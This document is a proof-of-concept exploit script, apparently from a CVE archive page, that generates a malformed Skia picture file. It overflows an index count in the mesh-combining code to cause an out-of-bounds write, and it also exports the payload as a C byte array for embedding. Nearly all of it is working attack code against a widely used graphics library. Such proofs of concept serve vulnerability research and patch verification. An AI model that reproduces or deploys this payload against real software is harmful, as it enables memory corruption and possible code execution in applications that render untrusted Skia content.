4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / genskpic.py PY
import struct

data = b'skiapict'
data += struct.pack('<IffffB', 86, 0, 0, 400, 400, 1)

def makeFourByteTag(a, b, c, d):
    return (ord(a) << 24) | (ord(b) << 16) | (ord(c) << 8) | ord(d)

sizeof_skpoint = 8
sizeof_indice = 2
num_verts = 3 # this mesh has only 3 vertices
num_indices = 3000000 # .. and 3000000 indices
draw_vert_obj_opid = 62 # id of 'drawvertobj' when playbacking the skia picture

def register_resources():
    global data

    data += struct.pack('<III', makeFourByteTag('f', 'a', 'c', 't'), 4, 0)
    pict_verts_buffer = struct.pack('<III', 0, num_verts, num_indices)
    pict_verts_buffer += struct.pack('<I', sizeof_skpoint * num_verts)
    pict_verts_buffer += struct.pack('<ffffff', 1.5, 1.5, 2.5, 1.5, 2.0, 2.0) * int(num_verts / 3)
    pict_verts_buffer += struct.pack('<I', 0)
    pict_verts_buffer += struct.pack('<I', 0)
    pict_verts_buffer += struct.pack('<I', sizeof_indice * num_indices)
    pict_verts_buffer += struct.pack('<HHH', 0, 1, 2) * int(num_indices / 3)
    pict_verts_buffer = struct.pack('<II', makeFourByteTag('v', 'e', 'r', 't'), 1) + pict_verts_buffer

    paint_pict_buffer = struct.pack('<II', makeFourByteTag('p', 'n', 't', ' '), 1) + struct.pack('<ffffffI', 
                                                                                                    0, # stroke 
                                                                                                    0, # miter
                                                                                                    #   (color)
                                                                                                    1, # r
                                                                                                    1, # g
                                                                                                    1, # b
                                                                                                    1, # a
                                                                                                    0 # empty flags (no shaders/filters)
                                                                                                )

    tot_size = len(paint_pict_buffer) + len(pict_verts_buffer)
    data += struct.pack('<II', makeFourByteTag('a', 'r', 'a', 'y'), tot_size) + pict_verts_buffer + paint_pict_buffer

def write_draw_ops():
    global data

    vertsop = struct.pack('<i', (draw_vert_obj_opid << 24) | 16)
    vertsop += struct.pack('<IIII', 1, 1, 0, 0)
    vertsop *= int(2147483647 / num_indices) * 2 + 2 # repeat vertsop until `indexcount` overflows to a positive value in MeshOp::onCombineIfPossible().
    data += struct.pack('<I', makeFourByteTag('r', 'e', 'a', 'd'))
    data += struct.pack('<I', len(vertsop)) + vertsop
    # BOOOOM (OOB write)

def write_eof_tag():
    global data
    
    data += struct.pack('<I', makeFourByteTag('e', 'o', 'f', ' '))

register_resources()
write_draw_ops()
write_eof_tag()

with open('pic.skp', 'wb') as f:
    f.write(data)

src = '#pragma once\n\n'
src += 'unsigned char kSkiaPictureBytes[] = {\n'

num_bytes = len(data)

j = 0
while num_bytes != 0:
    src += '  '
    for i in range(0, min(num_bytes, 20)):
        src += "0x{:02x}".format(data[j])

        if j != len(data) - 1:
            src += ', '

        j += 1

    src += '\n'
    num_bytes -= min(num_bytes, 20)

src += '};'

with open('drawable_picture.skp.hh', 'w') as skp_cc:
    skp_cc.write(src)